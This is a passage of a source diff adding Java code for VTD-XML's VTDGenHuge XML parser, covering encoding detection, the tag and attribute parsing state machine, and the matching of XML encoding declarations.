(offset - lineOffset) >> 1; + } else { + while (so <= offset-2) { + if (xb.byteAt(so) == '\n' && xb.byteAt(so + 1) == 0) { + lineNumber++; + lineOffset = so; + } + so += 2; + } + lineOffset = (offset - lineOffset) >> 1; + } + return "\nLine Number: " + (lineNumber+1) + " Offset: " + (lineOffset-1); + } + /** + * Write the remaining portion of LC info + * + */ + private void finishUp(){ + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + } + + + /** + * The entity ignorant version of getCharAfterS. + * @return int + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws com.ximpleware.extended.EOFExceptionHuge + */ + private int getCharAfterS() + throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge { + int n; + while (true) { + n = r.getChar(); + if (n == ' ' || n == '\t' || n == '\n' || n == '\r') { + } else + return n; + } + //throw new EOFExceptionHuge("should never come here"); + } + /** + * The entity aware version of getCharAfterS + * @return int + * @throws ParseExceptionHuge Super class for any exception during parsing. + * @throws EncodingExceptionHuge UTF/native encoding exception. + * @throws com.ximpleware.extended.EOFExceptionHuge End of file exception. + */ + private int getCharAfterSe() + throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge { + int n = 0; + long temp; //offset saver + while (true) { + n = r.getChar(); + if (!XMLChar.isSpaceChar(n)) { + if (n != '&') + return n; + else { + temp = offset; + if (!XMLChar.isSpaceChar(entityIdentifier())) { + offset = temp; // rewind + return '&'; + } + } + } + } + } + /** + * This method returns the VTDNavHuge object after parsing, it also cleans + * internal state so VTDGenHuge can process the next file. + * @return com.ximpleware.extended.VTDNavHuge + */ + public VTDNavHuge getNav() { + // call VTDNav constructor + VTDNavHuge vn = + new VTDNavHuge( + rootIndex, + encoding, + ns, + VTDDepth, + xb, + VTDBuffer, + l1Buffer, + l2Buffer, + l3Buffer, + docOffset, + docLen); + clear(); + return vn; + } + /** + * Get the offset value of previous character. + * @return int + * @throws ParseExceptionHuge Super class for exceptions during parsing. + */ + private long getPrevOffset() throws ParseExceptionHuge { + long prevOffset = offset; + int temp; + switch (encoding) { + case FORMAT_UTF8 : + do { + prevOffset--; + } while (xb.byteAt(prevOffset) <0 && + (xb.byteAt(prevOffset) & (byte)0xc0) == (byte)0x80); + + return prevOffset; + case FORMAT_ASCII : + case FORMAT_ISO_8859_1: + case FORMAT_ISO_8859_2: + case FORMAT_ISO_8859_3: + case FORMAT_ISO_8859_4: + case FORMAT_ISO_8859_5: + case FORMAT_ISO_8859_6: + case FORMAT_ISO_8859_7: + case FORMAT_ISO_8859_8: + case FORMAT_ISO_8859_9: + case FORMAT_ISO_8859_10: + case FORMAT_WIN_1250: + case FORMAT_WIN_1251: + case FORMAT_WIN_1252: + case FORMAT_WIN_1253: + case FORMAT_WIN_1254: + case FORMAT_WIN_1255: + case FORMAT_WIN_1256: + case FORMAT_WIN_1257: + case FORMAT_WIN_1258: + return offset - 1; + case FORMAT_UTF_16LE : + temp= (xb.byteAt(offset)&0xff) << 8 | (xb.byteAt(offset + 1)&0xff); + if (temp < 0xd800 || temp > 0xdfff) { + return offset - 2; + } else + return offset - 4; + case FORMAT_UTF_16BE : + temp =(xb.byteAt(offset)&0xff) << 8 | (xb.byteAt(offset + 1)&0xff); + if (temp < 0xd800 || temp > 0xdfff) { + return offset - 2; + } else + return offset - 4; + default : + throw new ParseExceptionHuge("Other Error: Should never happen"); + } + } + + /** + * A private method that detects the BOM and decides document encoding + * @throws EncodingExceptionHuge + * @throws ParseExceptionHuge + */ + private void decide_encoding() throws EncodingExceptionHuge,ParseExceptionHuge { + if (xb.length()==0) + throw new EncodingExceptionHuge("Document is zero sized "); + if (xb.byteAt(offset) == -2) { + increment = 2; + if (xb.byteAt(offset+1) == -1) { + offset += 2; + encoding = FORMAT_UTF_16BE; + BOM_detected = true; + r = new UTF16BEReader(); + } else + throw new EncodingExceptionHuge("Unknown Character encoding: should be 0xff 0xfe"); + } else if (xb.byteAt(offset) == -1) { + increment = 2; + if (xb.byteAt(offset+1) == -2) { + offset += 2; + encoding = FORMAT_UTF_16LE; + BOM_detected = true; + r = new UTF16LEReader(); + } else + throw new EncodingExceptionHuge("Unknown Character encoding: not UTF-16LE"); + } else if (xb.byteAt(offset) == -17){ + if (xb.byteAt(offset+1) == -69 && xb.byteAt(offset+2)==-65){ + offset +=3; + must_utf_8= true; + } + else + throw new EncodingExceptionHuge("Unknown Character encoding: not UTF-8"); + } + else if (xb.byteAt(offset)==0){ + if (xb.byteAt(offset+1) == 0x3c + && xb.byteAt(offset+2)== 0 + && xb.byteAt(offset+3)== 0x3f){ + encoding = FORMAT_UTF_16BE; + increment = 2; + r = new UTF16BEReader(); + } + else + throw new EncodingExceptionHuge("Unknown Character encoding: not UTF-16BE"); + } + else if (xb.byteAt(offset)==0x3c){ + if (xb.byteAt(offset+1) == 0 + && xb.byteAt(offset+2) == 0x3f + && xb.byteAt(offset+3) == 0){ + increment = 2; + encoding = FORMAT_UTF_16LE; + r = new UTF16LEReader(); + } + } + // check for max file size exception + if (encoding < FORMAT_UTF_16BE) { + if ((offset + (long) docLen) >= 1L << 37) + throw new ParseExceptionHuge( + "Other error: file size too big >=128GB "); + } else { + if ((offset + (long) docLen) >= 1L << 37) + throw new ParseExceptionHuge( + "Other error: file size too large >= 128GB"); + } + } + + /** + * This method parses the XML file and returns a boolean indicating + * if it is successful or not. + * @param fileName + * @param ns namespace aware or not + * @param mode indicates whether the file is loaded in memory of memory mapped + * @return boolean indicating whether the parseFile is a success + * + */ + public boolean parseFile(String fileName, boolean ns, int mode){ + //FileInputStream fis = null; + //File f = null; + try{ + if (mode == IN_MEMORY){ + XMLBuffer xb = new XMLBuffer(); + xb.readFile(fileName); + this.setDoc(xb); + this.parse(ns); // set namespace awareness to true + return true; + } else if (mode == MEM_MAPPED) { + XMLMemMappedBuffer xmb = new XMLMemMappedBuffer(); + xmb.readFile(fileName); + this.setDoc(xmb); + this.parse(ns); // set namespace awareness to true + return true; + } + return false; + }catch(java.io.IOException e){ + }catch (ParseExceptionHuge e){ + } + finally{ + } + return false; + } + + + /** + * parseFile with default mode set to IN_MEMORY + * @param fileName + * @param ns + * @return boolean indicating whether the parseFile is a success + * + */ + public boolean parseFile(String fileName, boolean ns){ + return parseFile(fileName, ns, IN_MEMORY); + } + + + + /** + * Generating VTD tokens and Location cache info. + * @param NS boolean Enable namespace or not + * @throws ParseExceptionHuge Super class for any exceptions during parsing. + * @throws EOFExceptionHuge End of file exception. + * @throws EntityExceptionHuge Entity resolution exception. + * @throws EncodingExceptionHuge UTF/native encoding exception. + */ + public void parse(boolean NS) + throws EncodingExceptionHuge, EOFExceptionHuge, EntityExceptionHuge, ParseExceptionHuge { + + // define internal variables + ns = NS; + long length1 = 0, length2 = 0; + int attr_count = 0 /*, ch = 0, ch_temp = 0*/; + int parser_state = STATE_DOC_START; + //boolean has_amp = false; + boolean is_ns = false; + encoding = FORMAT_UTF8; + boolean helper=false; + //boolean docEnd = false; + + // first check first several bytes to figure out the encoding + decide_encoding(); + + // enter the main finite state machine + try { + writeVTD(0,0,TOKEN_DOCUMENT,depth); + while (true) { + switch (parser_state) { + case STATE_LT_SEEN : //if (depth < -1) + // throw new ParseExceptionHuge("Other Errors: Invalid depth"); + temp_offset = offset; + ch = r.getChar(); + if (XMLChar.isNameStartChar(ch)) { + depth++; + parser_state = STATE_START_TAG; + } else { + switch (ch) { + case '/' : + parser_state = STATE_END_TAG; + break; + case '?' : + parser_state = process_qm_seen(); + break; + case '!' : // three possibility (comment, CDATA, DOCTYPE) + parser_state = process_ex_seen(); + break; + default : + throw new ParseExceptionHuge( + "Other Error: Invalid char after <" + + formatLineNumber()); + } + } + break; + + case STATE_START_TAG : //name space is handled by + while (true) { + ch = r.getChar(); + if (XMLChar.isNameChar(ch)) { + if (ch == ':') { + length2 = offset - temp_offset - increment; + } + } else + break; + } + length1 = offset - temp_offset - increment; + if (depth > MAX_DEPTH) { + throw new ParseExceptionHuge( + "Other Error: Depth exceeds MAX_DEPTH" + + formatLineNumber()); + } + //writeVTD(offset, TOKEN_STARTING_TAG, length2:length1, depth) + long x = ((long) length1 << 38) |temp_offset; + tag_stack[depth] = x; + + // System.out.println( + // " " + (temp_offset) + " " + length2 + ":" + length1 + " startingTag " + depth); + if (depth > VTDDepth) + VTDDepth = depth; + if (encoding < FORMAT_UTF_16BE){ + if (length2>MAX_PREFIX_LENGTH + || length1 > MAX_QNAME_LENGTH) + throw new ParseExceptionHuge( + "Token Length Error: Starting tag prefix or qname length too long" + + formatLineNumber()); + writeVTD( + (temp_offset), + (length2 << 10) | length1, + TOKEN_STARTING_TAG, + depth); + } + else{ + if (length2>(MAX_PREFIX_LENGTH <<1) + || length1 > (MAX_QNAME_LENGTH<<1)) + throw new ParseExceptionHuge( + "Token Length Error: Starting tag prefix or qname length too long" + +formatLineNumber()); + writeVTD( + (temp_offset) >> 1, + (length2 << 9) | (length1 >> 1), + TOKEN_STARTING_TAG, + depth); + } + //offset += length1; + length2 = 0; + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + if (XMLChar.isNameStartChar(ch)) { + // seen an attribute here + temp_offset = getPrevOffset(); + parser_state = STATE_ATTR_NAME; + break; + } + } + helper = true; + if (ch == '/') { + depth--; + helper = false; + ch = r.getChar(); + } + if (ch == '>') { + if (depth != -1) { + temp_offset = offset; + ch = getCharAfterSe(); // consume WSs + if (ch == '<') { + parser_state = STATE_LT_SEEN; + if (r.skipChar('/')) { + if (helper == true) { + length1 = offset - temp_offset + - (increment << 1); + if (length1 > 0) { + if (encoding < FORMAT_UTF_16BE) + writeVTD((temp_offset), + length1, + TOKEN_CHARACTER_DATA, + depth); + else + writeVTD((temp_offset) >> 1, + (length1 >> 1), + TOKEN_CHARACTER_DATA, + depth); + } + } + parser_state = STATE_END_TAG; + break; + } + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + } else + throw new ParseExceptionHuge( + "Error in text content: Invalid char" + + formatLineNumber()); + } else { + parser_state = STATE_DOC_END; + } + break; + } + throw new ParseExceptionHuge( + "Starting tag Error: Invalid char in starting tag" + + formatLineNumber()); + + case STATE_END_TAG : + temp_offset = offset; + long sos = tag_stack[depth] & 0x1fffffffffL; + int sl = (int) (tag_stack[depth] >> 38); + + offset = temp_offset+sl; + + if (offset>= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + for (int i = 0; i < sl; i++) { + if (xb.byteAt(sos + i) != xb.byteAt(temp_offset + i)) + throw new ParseExceptionHuge( + "Ending tag error: Start/ending tag mismatch" + + formatLineNumber()); + } + depth--; + ch = getCharAfterS(); + if(ch != '>') + throw new ParseExceptionHuge( + "Ending tag error: Invalid char in ending tag " + + formatLineNumber()); + + if (depth != -1) { + temp_offset = offset; + ch = getCharAfterS(); + if (ch == '<') + parser_state = STATE_LT_SEEN; + else if (XMLChar.isContentChar(ch)) { + parser_state = STATE_TEXT; + } + else if (ch == '&') { + //has_amp = true; + entityIdentifier(); + parser_state = STATE_TEXT; + } + else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseExceptionHuge( + "Other Error: Invalid char in xml" + + formatLineNumber()); + } else + parser_state = STATE_DOC_END; + break; + + case STATE_ATTR_NAME : + + if (ch == 'x') { + if (r.skipChar('m') + && r.skipChar('l') + && r.skipChar('n') + && r.skipChar('s')) { + ch = r.getChar(); + if (ch == '=' + || XMLChar.isSpaceChar(ch) + || ch == ':') { + is_ns = true; //break; + } + } + } + while (true) { + if (XMLChar.isNameChar(ch)) { + if (ch == ':') { + length2 = offset - temp_offset - increment; + } + ch = r.getChar(); + } else + break; + } + length1 = getPrevOffset() - temp_offset; + // check for uniqueness here + boolean unique = true; + boolean unequal; + for (int i = 0; i < attr_count; i++) { + unequal = false; + int prevLen = (int) attr_name_array[i] & 0x0001ffff; + if (length1 == prevLen) { + long prevOffset = + (attr_name_array[i] >> 17); + for (int j = 0; j < prevLen; j++) { + if (xb.byteAt(prevOffset + j) + != xb.byteAt(temp_offset + j)) { + unequal = true; + break; + } + } + } else + unequal = true; + unique = unique && unequal; + } + if (!unique && attr_count != 0) + throw new ParseExceptionHuge( + "Error in attr: Attr name not unique" + + formatLineNumber()); + unique = true; + if (attr_count < attr_name_array.length) { + attr_name_array[attr_count] = + ( (temp_offset) << 17) | length1; + attr_count++; + } else // grow the attr_name_array by 16 + { + long[] temp_array = attr_name_array; + /*System.out.println( + "size increase from " + + temp_array.length + + " to " + + (attr_count + 16));*/ + attr_name_array = + new long[attr_count + ATTR_NAME_ARRAY_SIZE]; + for (int i = 0; i < attr_count; i++) { + attr_name_array[i] = temp_array[i]; + } + attr_name_array[attr_count] = + ((temp_offset) << 17) | length1; + attr_count++; + } + + // after checking, write VTD + if (is_ns) { + if (encoding < FORMAT_UTF_16BE){ + if (length2>MAX_PREFIX_LENGTH + || length1 > MAX_QNAME_LENGTH) + throw new ParseExceptionHuge( + "Token length overflow error: Attr NS tag prefix or qname length too long" + +formatLineNumber()); + writeVTD( + temp_offset, + (length2 << 10) | length1, + TOKEN_ATTR_NS, + depth); + } + else{ + if (length2>(MAX_PREFIX_LENGTH << 1) + || length1 > (MAX_QNAME_LENGTH <<1)) + throw new ParseExceptionHuge( + "Token length overflow error: Attr NS prefix or qname length too long" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + (length2 << 9) | (length1 >> 1), + TOKEN_ATTR_NS, + depth); + } + is_ns = false; + } else { + if (encoding < FORMAT_UTF_16BE){ + if (length2>MAX_PREFIX_LENGTH + || length1 > MAX_QNAME_LENGTH) + throw new ParseExceptionHuge( + "Token Length Error: Attr name prefix or qname length too long" + + formatLineNumber()); + writeVTD( + temp_offset, + (length2 << 10) | length1, + TOKEN_ATTR_NAME, + depth); + } + else{ + if (length2>(MAX_PREFIX_LENGTH<<1) + || length1 > (MAX_QNAME_LENGTH<<1)) + throw new ParseExceptionHuge( + "Token Length overflow error: Attr name prefix or qname length too long" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + (length2 << 9) | (length1 >> 1), + TOKEN_ATTR_NAME, + depth); + } + } + /*System.out.println( + " " + temp_offset + " " + length2 + ":" + length1 + " attr name " + depth);*/ + length2 = 0; + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + } + if (ch != '=') + throw new ParseExceptionHuge( + "Error in attr: invalid char" + + formatLineNumber()); + ch_temp = getCharAfterS(); + if (ch_temp != '"' && ch_temp != '\'') + throw new ParseExceptionHuge( + "Error in attr: invalid char (should be ' or \" )" + + formatLineNumber()); + temp_offset = offset; + parser_state = STATE_ATTR_VAL; + break; + + case STATE_ATTR_VAL : + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch) && ch != '<') { + if (ch == ch_temp) + break; + if (ch == '&') { + // as in vtd spec, we mark attr val with entities + if (!XMLChar + .isValidChar(entityIdentifier())) { + throw new ParseExceptionHuge( + "Error in attr: Invalid XML char" + + formatLineNumber()); + } + } + + } else + throw new ParseExceptionHuge( + "Error in attr: Invalid XML char" + + formatLineNumber()); + } + + length1 = offset - temp_offset - increment; + if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseExceptionHuge("Token Length Error:" + +" Attr val too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset, + length1, + TOKEN_ATTR_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH <<1)) + throw new ParseExceptionHuge("Token Length Error:" + +" Attr val too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_ATTR_VAL, + depth); + } + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + if (XMLChar.isNameStartChar(ch)) { + temp_offset = offset - increment; + parser_state = STATE_ATTR_NAME; + break; + } + } + helper = true; + if (ch == '/') { + depth--; + helper = false; + ch = r.getChar(); + } + + if (ch == '>') { + attr_count = 0; + if (depth != -1) { + temp_offset = offset; + ch = getCharAfterSe(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + if (r.skipChar('/')) { + if (helper == true) { + length1 = offset - temp_offset + - (increment << 1); + //if (length1 > 0) { + if (encoding < FORMAT_UTF_16BE) + writeVTD((temp_offset), + length1, + TOKEN_CHARACTER_DATA, + depth); + else + writeVTD((temp_offset) >> 1, + (length1 >> 1), + TOKEN_CHARACTER_DATA, + depth); + //} + } + parser_state = STATE_END_TAG; + break; + } + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseExceptionHuge( + "Error in text content: Invalid char" + + formatLineNumber()); + } else { + parser_state = STATE_DOC_END; + } + break; + } + + throw new ParseExceptionHuge( + "Starting tag Error: Invalid char in starting tag" + + formatLineNumber()); + + case STATE_TEXT : + if (depth == -1) + throw new ParseExceptionHuge( + "Error in text content: Char data at the wrong place" + + formatLineNumber()); + while (true) { + ch = r.getChar(); + if (XMLChar.isContentChar(ch)) { + } else if (ch == '&') { + //has_amp = true; + if (!XMLChar.isValidChar(entityIdentifier())) + throw new ParseExceptionHuge( + "Error in text content: Invalid char in text content " + + formatLineNumber()); + //parser_state = STATE_TEXT; + } else if (ch == '<') { + break; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + } else + throw new ParseExceptionHuge( + "Error in text content: Invalid char in text content " + + formatLineNumber()); + } + length1 = offset - increment - temp_offset; + + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + length1, + TOKEN_CHARACTER_DATA, + depth); + else + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_CHARACTER_DATA, + depth); + + //has_amp = true; + parser_state = STATE_LT_SEEN; + break; + case STATE_DOC_START : + parser_state = process_start_doc(); + break; + case STATE_DOC_END : + //docEnd = true; + parser_state = process_end_doc(); + break; + case STATE_PI_TAG : + parser_state = process_pi_tag(); + break; + //throw new ParseExceptionHuge("Error in PI: Invalid char"); + case STATE_PI_VAL : + parser_state = process_pi_val(); + break; + + case STATE_DEC_ATTR_NAME : + parser_state = process_dec_attr(); + break; + + case STATE_COMMENT : + parser_state = process_comment(); + break; + + case STATE_CDATA : + parser_state = process_cdata(); + break; + + case STATE_DOCTYPE : + parser_state = process_doc_type(); + break; + + case STATE_END_COMMENT : + parser_state = process_end_comment(); + break; + + case STATE_END_PI : + parser_state = process_end_pi(); + break; + + default : + throw new ParseExceptionHuge( + "Other error: invalid parser state" + +formatLineNumber()); + } + } + } catch (EOFExceptionHuge e) { + if (parser_state != STATE_DOC_END) + throw e; + finishUp(); + } + } + private void matchCPEncoding()throws ParseExceptionHuge{ + if ((r.skipChar('p') || r.skipChar('P')) && r.skipChar('1') + && r.skipChar('2') && r.skipChar('5')) { + if (encoding <= FORMAT_UTF_16LE) { + if (must_utf_8) + throw new EncodingExceptionHuge( + "Can't switch from UTF-8" + + formatLineNumber()); + if (r.skipChar('0')){ + encoding = FORMAT_WIN_1250; + r=new WIN1250Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('1')){ + encoding = FORMAT_WIN_1251; + r=new WIN1251Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('2')){ + encoding = FORMAT_WIN_1252; + r=new WIN1252Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('3')){ + encoding = FORMAT_WIN_1253; + r=new WIN1253Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4')){ + encoding = FORMAT_WIN_1254; + r=new WIN1254Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5') ){ + encoding = FORMAT_WIN_1255; + r=new WIN1255Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('6')){ + encoding = FORMAT_WIN_1256; + r=new WIN1256Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('7') ){ + encoding = FORMAT_WIN_1257; + r=new WIN1257Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('8') ){ + encoding = FORMAT_WIN_1258; + r=new WIN1258Reader(); + writeVTD(temp_offset, 6, + TOKEN_DEC_ATTR_VAL, + depth); + }else + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + if (r.skipChar(ch_temp)) + return; + } else + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to ISO-8859" + + formatLineNumber()); + + } + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + } + + private void matchWindowsEncoding()throws ParseExceptionHuge{ + if ((r.skipChar('i') || r.skipChar('I')) + &&(r.skipChar('n') || r.skipChar('N')) + &&(r.skipChar('d') || r.skipChar('D')) + &&(r.skipChar('o') || r.skipChar('O')) + &&(r.skipChar('w') || r.skipChar('W')) + &&(r.skipChar('s') || r.skipChar('S')) + && r.skipChar('-') + && r.skipChar('1') + && r.skipChar('2') + && r.skipChar('5')) { + if (encoding <= FORMAT_UTF_16LE) { + if (must_utf_8) + throw new EncodingExceptionHuge( + "Can't switch from UTF-8" + + formatLineNumber()); + if (r.skipChar('0')){ + encoding = FORMAT_WIN_1250; + r=new WIN1250Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('1')){ + encoding = FORMAT_WIN_1251; + r=new WIN1251Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('2')){ + encoding = FORMAT_WIN_1252; + r=new WIN1252Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('3')){ + encoding = FORMAT_WIN_1253; + r=new WIN1253Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4')){ + encoding = FORMAT_WIN_1254; + r=new WIN1254Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5')){ + encoding = FORMAT_WIN_1255; + r=new WIN1255Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('6')){ + encoding = FORMAT_WIN_1256; + r=new WIN1256Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('7')){ + encoding = FORMAT_WIN_1257; + r=new WIN1257Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('8')){ + encoding = FORMAT_WIN_1258; + r=new WIN1258Reader(); + writeVTD(temp_offset, 12, + TOKEN_DEC_ATTR_VAL, + depth); + }else + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + if (r.skipChar(ch_temp)) + return; + + } else + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to ISO-8859" + + formatLineNumber()); + } + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + } + private void matchUTFEncoding() throws ParseExceptionHuge{ + if ((r.skipChar('s') || r.skipChar('S'))) + if (r.skipChar('-') + && (r.skipChar('a') || r.skipChar('A')) + && (r.skipChar('s') || r.skipChar('S')) + && (r.skipChar('c') || r.skipChar('C')) + && (r.skipChar('i') || r.skipChar('I')) + && (r.skipChar('i') || r.skipChar('I')) + && r.skipChar(ch_temp)) { + if (encoding != FORMAT_UTF_16LE + && encoding != FORMAT_UTF_16BE) { + if (must_utf_8) + throw new EncodingExceptionHuge( + "Can't switch from UTF-8" + + formatLineNumber()); + encoding = FORMAT_ASCII; + r=new ASCIIReader(); + writeVTD(temp_offset, 8, + TOKEN_DEC_ATTR_VAL, + depth); + + return; + } else + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to US-ASCII" + + formatLineNumber()); + } else + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + + if ((r.skipChar('t') || r.skipChar('T')) + && (r.skipChar('f') || r.skipChar('F')) + && r.skipChar('-')) { + if (r.skipChar('8') && r.skipChar(ch_temp)) { + if (encoding != FORMAT_UTF_16LE + && encoding != FORMAT_UTF_16BE) { + //encoding = FORMAT_UTF8; + writeVTD(temp_offset, 5, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } else + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to UTF-8" + + formatLineNumber()); + } + if (r.skipChar('1') && r.skipChar('6')) { + if (r.skipChar(ch_temp)) { + if (encoding == FORMAT_UTF_16LE + || encoding == FORMAT_UTF_16BE) { + if (!BOM_detected) + throw new EncodingExceptionHuge( + "BOM not detected for UTF-16" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + 6, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to UTF-16" + + formatLineNumber()); + } else if ((r.skipChar('l') || r.skipChar('L')) + && (r.skipChar('e') || r.skipChar('E')) + && r.skipChar(ch_temp)) { + if (encoding == FORMAT_UTF_16LE) { + r = new UTF16LEReader(); + writeVTD( + temp_offset >> 1, + 8, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } + throw new ParseExceptionHuge( + "XML del error: Can't switch encoding to UTF-16LE" + + formatLineNumber()); + } else if ((r.skipChar('b') || r.skipChar('B')) + && (r.skipChar('e') || r.skipChar('E')) + && r.skipChar(ch_temp)) { + if (encoding == FORMAT_UTF_16BE) { + writeVTD( + temp_offset >> 1, + 8, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } + throw new ParseExceptionHuge( + "XML del error: Can't swtich encoding to UTF-16BE" + + formatLineNumber()); + } + + throw new ParseExceptionHuge( + "XML decl error: Invalid encoding" + + formatLineNumber()); + } + } + } + + private void matchISOEncoding()throws ParseExceptionHuge{ + if ((r.skipChar('s') || r.skipChar('S')) + && (r.skipChar('o') || r.skipChar('O')) + && r.skipChar('-') && r.skipChar('8') + && r.skipChar('8') && r.skipChar('5') + && r.skipChar('9') && r.skipChar('-')) + { + if (encoding <= FORMAT_UTF_16LE) { + if (must_utf_8) + throw new EncodingExceptionHuge( + "Can't switch from UTF-8" + + formatLineNumber()); + if (r.skipChar('1')){ + if (r.skipChar(ch_temp)) { + encoding = FORMAT_ISO_8859_1; + r = new ISO8859_1Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + return; + } else if (r.skipChar('0') ){ + encoding = FORMAT_ISO_8859_10; + r = new ISO8859_10Reader(); + writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } else if (r.skipChar('1') ){ + encoding = FORMAT_ISO_8859_11; + r = new ISO8859_11Reader(); + writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } else if (r.skipChar('3') ){ + encoding = FORMAT_ISO_8859_13; + r = new ISO8859_13Reader(); + writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4') ){ + encoding = FORMAT_ISO_8859_14; + r = new ISO8859_14Reader(); + writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5') ){ + encoding = FORMAT_ISO_8859_15; + r = new ISO8859_15Reader(); + writeVTD(temp_offset, 11, + TOKEN_DEC_ATTR_VAL, + depth); + } + + }else if (r.skipChar('2') ){ + encoding = FORMAT_ISO_8859_2; + r = new ISO8859_2Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('3')){ + r = new ISO8859_3Reader(); + encoding = FORMAT_ISO_8859_3; + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('4') ){ + r = new ISO8859_4Reader(); + encoding = FORMAT_ISO_8859_4; + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('5') ){ + encoding = FORMAT_ISO_8859_5; + r = new ISO8859_5Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('6') ){ + encoding = FORMAT_ISO_8859_6; + r = new ISO8859_6Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('7') ){ + encoding = 